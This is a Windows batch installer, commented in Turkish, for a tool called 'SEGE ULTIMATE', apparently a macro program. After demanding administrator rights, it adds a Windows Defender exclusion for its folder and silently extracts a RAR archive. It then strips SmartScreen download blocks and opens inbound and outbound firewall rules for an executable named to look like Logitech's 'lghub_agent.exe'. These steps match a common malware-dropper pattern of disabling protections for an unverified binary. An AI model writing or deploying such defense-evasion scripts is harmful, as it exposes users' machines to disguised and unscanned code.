@echo off
setlocal enabledelayedexpansion

:: 1. YONETICI IZNI KONTROLU
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo [HATA] Lutfen SAG TIKLAYIP "YONETICI OLARAK CALISTIR" deyin!
    pause
    exit /b
)

:: AYARLAR
set "RAR_ISMI=macro.rar"
set "EXE_ISMI=lghub_agent.exe"
set "KLASOR=%~dp0"

echo ======================================================
echo          SEGE ULTIMATE OTOMATIK KURULUM
echo ======================================================

:: 2. DEFENDER DISLAMA (Klasoru guvene al)
echo [+] 1. Klasor Defender'dan muaf tutuluyor...
powershell -Command "Add-MpPreference -ExclusionPath '%KLASOR%'"

:: 3. RAR'DAN CIKARMA ISLEMI
echo [+] 2. Rar dosyasi ayiklaniyor...

:: WinRAR yolunu kontrol et (Program Files ve Program Files x86)
if exist "C:\Program Files\WinRAR\WinRAR.exe" (
    set "WRPATH=C:\Program Files\WinRAR\WinRAR.exe"
) else if exist "C:\Program Files (x86)\WinRAR\WinRAR.exe" (
    set "WRPATH=C:\Program Files (x86)\WinRAR\WinRAR.exe"
) else (
    echo [HATA] WinRAR bulunamadi! Lutfen WinRAR yukleyin veya .zip kullanin.
    pause
    exit /b
)

:: Dosyalari cikar (x=ayikla, -y=tumune evet de, -ibck=arkaplanda calis)
"%WRPATH%" x -y -ibck "%KLASOR%%RAR_ISMI%" "%KLASOR%"

if %errorlevel% equ 0 (
    echo [+] Dosyalar basariyla cikarildi.
) else (
    echo [HATA] Ayiklama sirasinda hata olustu.
)

:: 4. SMART SCREEN VE BLOK KALDIRMA (O Mavi Hatayi Cozen Kisim)
echo [+] 3. Dosya engelleri temizleniyor...
powershell -Command "Get-ChildItem '%KLASOR%' -Recurse | Unblock-File"

:: 5. FIREWALL IZNI
echo [+] 4. Firewall izinleri ekleniyor...
netsh advfirewall firewall add rule name="SEGE_In" dir=in action=allow program="%KLASOR%%EXE_ISMI%" enable=yes profile=any >nul
netsh advfirewall firewall add rule name="SEGE_Out" dir=out action=allow program="%KLASOR%%EXE_ISMI%" enable=yes profile=any >nul

echo ======================================================
echo ISLEM TAMAMLANDI!
echo Artik %EXE_ISMI% dosyasini acabilirsiniz.
echo ======================================================
pause